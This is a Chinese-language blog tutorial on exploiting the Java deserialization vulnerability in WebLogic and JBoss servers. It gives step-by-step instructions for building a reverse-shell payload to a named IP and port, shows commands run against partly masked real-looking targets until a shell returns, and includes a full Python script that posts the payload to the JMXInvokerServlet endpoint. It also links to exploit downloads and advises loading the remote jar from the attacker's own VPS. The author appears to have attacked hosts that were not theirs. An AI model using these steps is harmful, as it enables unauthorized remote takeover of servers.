from:http://www.heysec.org/archives/156
0x01. 背景
今天在Zone里看到白帽子xcoder发了遍文章:JAVA commonsCollections 序列化漏洞分析以及高级利用 。地址:http://zone.wooyun.org/content/23905 .
我知道有很多像我一样的JAVA小白,一下看到了春天。在Drops上有大牛早就给出了从原理分析到漏洞利用的十分详细的说明,但是,作为JAVA小白表示鸭梨大啊!
白帽子xcoder的文章,给了我莫大的动力,第一次感觉到春天就要来了。在经过一天的尝试下,完成了Weblogic和Jboss的攻击利用实践。
0x02. 前期准备
-
准备好代码
从白帽子xcoder的文章中,我们可以得到两个脚本。一个是制作反弹shell的payload的脚本,一个是制作POC用来测试的payload的脚本。
将其取下,放置到自己的IDE里面,在我的Eclipse里面展示如下:
这么多错误,其实一开始我是拒绝的,需要导入jar包,地址:http://pan.baidu.com/s/1pJ7twuR ,然后就没有报错提示了!
说明:
1、 使用第一个脚本制作的payload,我们结合Weblogic的Exploit weblogic.py,可以让存在漏洞服务器反弹shell到我们的VPS上。
2、 使用第二个脚本制作的payload,我们结合Weblogic的Exploit weblogic.py ,可以让存在漏洞的服务器主动向VPS的某地址发出GET请求。
我们就可以在日志中根据有无收到这个GET请求来判断是否存在这个漏洞。
-
制作反弹shell的payload
做一个反弹到IP 为103.111.222.121 的端口为10512的反弹shell的名为kiss.bin 的payload,保存在E盘根目录。
修改代码:WeblogicPaylodMake.java 69-70行为这样:
执行这个java
得到反弹shell的payload
-
制作测试POC 的payload
做一个访问URL地址:http://www.heysec.org/JavaSeriVulns.txt 的payload,保存在E盘根目录。
修改代码:WeblogicPOC.java 86-88行为这样:
同样执行Java代码,得到下面payload:
0x03. Weblogic利用过程
-
反弹shell到VPS
利用之前得到的Weblogic的Exploit weblogic.py加载payload执行:
准备如下:
先在Sebug上确认漏洞存在的:
VPS上监听10512端口、然后执行weblogic.py的Exploit脚本, 多执行几次命令:
python weblogic.py 222.***.2**.53 7001 kiss.bin
有些时候,执行一两次没有反应,我一般执行3-4次就反弹回来了! 然后就可以xxoo咯
-
POC验证漏洞
多执行几次下面的命令:
python weblogic.py 222.1**.**3.53 7001 poc.bin
然后去VPS看日志,可以看到有多次请求记录!证明此漏洞是存在的!
到此Weblogic的漏洞证明,到漏洞利用反弹shell都成功了!
0x04. Jboss利用过程
上面生成的反弹shell的payload可以不经过修改直接在Jboss上使用的,但是我至今没有找到像Weblogic的py利用脚本一样的在 Jboss上利用的Exploit。就为了找Exploit我去看很久的:https://github.com/njfox/Java- Deserialization-Exploit 和https://github.com/frohoff/ysoserial JAVA小白表示没有搞定。一直到晚上,我看到了之前收到的这个:
那个文件里面是一个POST包文件。于是灵机一动写了下面的8行python脚本:
于是乎有了下面的过程:
1、找一个Jboss的目标:
2、用Sebug的照妖镜确认存在 JBoss “Java 反序列化”过程远程命令执行漏洞
准备上面截图的doPost.py脚本:
#!/usr/bin/pythonimport requestsimport sys host=sys.argv[1]port = int(sys.argv[2])payloadObj = open(sys.argv[3],'rb').read()URL = host+"/invoker/JMXInvokerServlet"requests.post(URL, data=payloadObj)
以及Weblogic测试时的payload
执行下面的命令:
python doPost.py http://www.***.org/ 80 kiss.bin
然后就也可以XXOO了
同样测试Weblogic的POC,也是通用的!真是厉害啊!
至此,Weblogic、Jboss的反弹shell和poc都测试成功了!
注意:
WeblogicPaylodMake.java中42行的http://www.iswin.org/attach/iswin.jar 在公网测试时,建议把这个放在自己的VPS上【你懂的】。
在内网测试时,可能服务器上不了外网,需要在内网自己搭建个web,让目标服务器来加载你web上的这个jar文件。
0x05. 说在最后
-
感谢每一位热爱技术分享的白帽子!
-
本文写的粗略简单,希望对你有一定帮助,如有错误和可以补充之处还望指出。
-
本文中的java脚本都来自xcoder白帽子,两个java脚本在:http://www.heysec.org/wp-content/uploads/2015/12/src.zip.jpg 请下载,保存为src.zip,里面是两个java程序。
exp:
链接:http://pan.baidu.com/s/1pKfVKmR 密码:qczh
本文始发于微信公众号(关注安全技术):Java反序列化漏洞之Weblogic、Jboss利用教程及exp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论